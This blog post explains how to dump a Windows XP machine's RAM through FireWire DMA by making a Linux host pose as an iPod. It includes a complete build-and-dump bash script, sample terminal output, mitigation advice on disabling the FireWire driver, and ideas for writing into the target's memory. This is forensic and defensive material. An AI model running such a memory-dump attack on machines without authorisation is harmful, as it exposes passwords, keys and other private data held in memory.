Recently, I had to obtain the Random Access Memory (RAM) of a Windows XP SP3 system. The RAM is a storage for (program) data but unlike a harddisk it is around a million times faster and volatile. That is, its contents vanishes within a few seconds after the machine is powered off. But as there is data of the running kernel and almost every running program in the RAM, it contains valuable information about the state of a machine, including passwords, running processes, open connections or registry data.
However, manually obtaining the RAM contents usually involves altering the state of the machine, because the system has to either run a special program (and running programs modifies the state) or to load a special FireWire driver (and loading drivers off the disk into memory alters the machines state). Even hibernating the system modifies the machine because files are written, memory might get compressed, etc. It is possible to obtain the contents of the RAM by cooling the chips down and quickly putting them into a system which keeps refreshing the data so that it can be read with an own system. This method, however, requires a lot of preparation, skill and fortune because every second matters. But even if you manage to save the RAM, you might get into trouble because the examined system will still have a CPU cache which might keep the system up and running, potentially noticing the loss of RAM and changing contents of the disk (i.e. erasing). Since a Windows (Vista) Kernel is around 9.9MiB in size it would not necessarily fit into a 2MiB cache which modern CPUs have, but a Linux (2.6.29) Kernel can be 1.7MiB in size which would fit perfectly. Other, smaller, Kernels such as L4 or QNX exist.
I, however, went with the FireWire method just because I thought it’s fun to snarf other machines memory using just a cable 🙂
FireWire was invented in 1995 by Apple for high-speed data transmission. By design, it is able to read and write directly to the host machines memory contents. This feature can be exploited to dump the machines memory.
However, to dump Windows’ memory via FireWire, one needs to convince Windows to be eligible to do so by pretending to be, i.e. a proprietary and expensive audio player called “iPod”.
By using existing tools it is relatively easy to dump Windows’ memory.
One needs to download and build pythonraw1394 and the necessary dependencies.
Then, the proper tools, which basically configure the Linux host to be an iPod and dump the victims machine’s memory must be run.
Following script should do all the necessary steps and finally save a 2GB memory dump in a temporary directory.
It is known to work on an Ubuntu 9.10 Linux system.
#!/bin/bash DIR=/tmp/$RANDOM PYTHONRAW=http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz LOCALPORT=0 REMOTEPORT=1 NODE=0 mkdir -p $DIR && cd $DIR && wget --continue -O- $PYTHONRAW | tar xvf - && cd pythonraw1394/ && sudo apt-get install -y libraw1394 libraw1394-dev swig python-dev build-essential && sed -i 's/python2\.3/python2\.6/g' Makefile && make && sudo modprobe raw1394 && sudo chgrp $USER /dev/raw1934 && ./businfo && ./romtool -g $LOCALPORT $DIR/localport.csr && ./romtool -s $LOCALPORT ipod.csr && ./1394memimage $REMOTEPORT $NODE $DIR/memdump 0 2G && echo Success, please read the memory at $DIR/memdump || echo Failure
(I’ve just finished packaging that up for Ubuntu)
As for mitigation, the best would be to have no FireWire ports 😉 But it’d be stupid thing to rip off your FireWire ports or putting lots of glue into it, because FireWire is a nice technology that you want to use for your external harddrives, cameras, networking, etc. So simply deactivate the driver if you don’t need it! A plugged in device can thus not make use of the functionality. For Linux, rmmod ohci1394 should be sufficient. To make this permanent, you might want to add “blacklist ohci1394” to your /etc/modprobe.d/blacklist. If you then want to use some FireWire device, simply modprobe ohci1394.
By using the above mentioned script, we successfully obtained the contents of a Windows XP SP3 machine in a temporary directory.
In our case, it took around 500 seconds to capture 1024 MiB RAM. Interestingly enough, when reading more RAM than installed in the victims machine, the program puts 0xffs in the dump file. We rebooted the machine from Windows into Linux and read the RAM. Hence, reading RAM from a machine running Linux (2.6.31) works fine. We found it interesting that we still were able to read memory of the Windows system which we have shutdown properly. So Windows left artefacts which we were able read.
Note that the machine whose RAM we read ran a Linux Kernel which did not make use of the most recent FireWire stack, simply because it has not been officially released yet. It will be interesting to see, how and under which circumstances the new FireWire stack, called Juju, allows the RAM to be read and written.
For completeness, we also tried reading the RAM of a Laptop running MacOS and it worked equally well.
muelli@xbox:/tmp/pythonraw1394$ ionice -c 3 ./1394memimage 0 1 /tmp/windows.mem 0-1G 1394memimage v1.0 Adam Boileau, 2006. Init firewire, port 0 node 1 Reading 0x3fd00000 (1045504KiB) at 2027 KiB/s... 1073741824 bytes read Elapsed time 517.51 seconds Writing metadata and hashes... muelli@xbox:/tmp/pythonraw1394$ volatility ident -f windows.mem Image Name: windows.mem Image Type: Service Pack 3 VM Type: nopae DTB: 0x39000 Datetime: Mon Mar 22 19:06:42 2010 muelli@xbox:/tmp/pythonraw1394$
It might be interesting for future research to remotely change Windows’ memory to, say, unlock a password protected workstation, change configuration of a firewall or even inject new processes. Although we consider it to be very interesting to build a tiny appliance that does the memory dump of the victims machine, we could not find anything on the Internet. Given that products on the forensic market are pretty expensive, building such a machine might be very rewarding.